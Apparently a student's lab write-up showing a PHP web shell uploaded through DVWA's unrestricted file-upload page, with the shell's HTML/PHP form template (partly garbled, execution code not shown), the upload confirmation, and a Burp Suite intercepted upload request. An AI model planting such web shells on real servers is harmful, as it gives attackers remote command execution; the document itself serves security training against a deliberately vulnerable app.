



Consegna S6L1

```

5 ?>
6 <!DOCTYPE html>
7 <html lang="en">
8 <head>
9   <meta charset="utf-8">
10  <meta http-equiv="X-UA-Compatible" content="IE=edge">
11  <meta name="viewport" content="width=device-width, initial-scale=1">
12  <title>Web Shell</title>
13  <style>
14    * {
15      -webkit-box-sizing: border-box;
16      box-sizing: border-box;
17    }
18    body {
19      font-family: sans-serif;
20      color: rgba(0, 0, 0, .75);
21    }
22    main {
23      margin: auto;
24      max-width: 850px;
25    }
26    pre,
27    input,
28    button {
29      padding: 10px;
30      border-radius: 5px;
31      background-color: #fefefe;
32    }
33    label {
34      display: block;
35    }
36    input {
37      width: 100%;
38      background-color: #fefefe;
39      border: 2px solid transparent;
40    }

```

```

47   input:focus {
48     outline: none;
49     background: transparent;
50     border: 2px solid #666666;
51   }
52   button {
53     border: none;
54     cursor: pointer;
55     margin-left: 5px;
56   }
57   button:hover {
58     background-color: #666666;
59   }
60   .form-group {
61     display: -webkit-box;
62     display: -ms-flexbox;
63     display: flex;
64     padding: 15px 0;
65   }
66 </style>
67 </head>
68 <body>
69   <main>
70     <h1>Web Shell</h1>
71     <h2>Execute a command</h2>
72     <form method="post">
73       <label for="cmd"><strong>Command</strong></label>
74       <div class="form-group">
75         <input type="text" name="cmd" id="cmd" value="<?> htmlspecialchars($POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
76           onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
77         <button type="submit">Execute</button>
78       </div>
79     </form>
80     <?php if ($SERVER['REQUEST_METHOD'] === 'POST'): ?>
81       <h2>Output</h2>
82       <?php if (isset($cmd)): ?>
83         <pre><?> htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
84       <?php else: ?>
85         <small>No result.</small></pre>
86     <?php endif: ?>
87   </main>
88 </body>
89 </html>

```

```


87   <?php if ($SERVER['REQUEST_METHOD'] === 'POST'): ?>
88     <h2>Output</h2>
89     <?php if (isset($cmd)): ?>
90       <pre><?> htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
91     <?php else: ?>
92       <pre><small>No result.</small></pre>
93     <?php endif: ?>
94   <?php endif: ?>
95 </main>
96 </body>
97 </html>

```

Damn Vulnerable Web App x Web Shell x +

← → ↻ ⚠ Not secure | 192.168.32.102/dvwa/vulnerabilities/upload/#

🔗 ☆ ⚙ 👤 🏠 👤 ⋮



HomeInstructionsSetupBrute ForceCommand ExecutionCSRFFile InclusionSQL InjectionSQL Injection (Blind)UploadXSS reflectedXSS storedDVWA SecurityPHP InfoAboutLogout

Vulnerability: File Upload

Choose an image to upload:
 No file chosen

../../../../hackable/uploads/shell.php succesfully uploaded!

More info

http://www.owasp.org/index.php/Unrestricted_File_Upload
<http://blogs.securiteam.com/index.php/archives/1268>
<http://www.acunetix.com/websecurity/upload-forms-threat.htm>

Username: admin
Security Level: low
PHPIDS: disabled

DashboardTargetProxyIntruderRepeaterCollaboratorSequencerDecoderComparerLoggerOrganizerExtensionsLearn

InterceptHTTP historyWebSockets historyProxy settings

Request to http://192.168.32.102:80

ForwardDropIntercept is onActionOpen browser

PrettyRawHex

4Cache-Control: max-age=0

5Upgrade-Insecure-Requests: 1

6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36

7Origin: http://192.168.32.102

8Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqQntPOZjFJJwtMuB

9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

10Referer: http://192.168.32.102/dvwa/vulnerabilities/upload/

11Accept-Encoding: gzip, deflate

12Accept-Language: en-US,en;q=0.9

13Cookie: security=low; PHPSESSID=6b3356e227db8ce204a06fe25f093667

14Connection: close

15

16-----WebKitFormBoundaryqQntPOZjFJJwtMuB

17Content-Disposition: form-data; name="MAX_FILE_SIZE"

18

19100000

20-----WebKitFormBoundaryqQntPOZjFJJwtMuB

21Content-Disposition: form-data; name="uploaded"; filename="shell.php"

22Content-Type: application/x-php

23

Web Shell

Execute a command

Command

Execute

Output

```
dvwa_email.png  
shell.php
```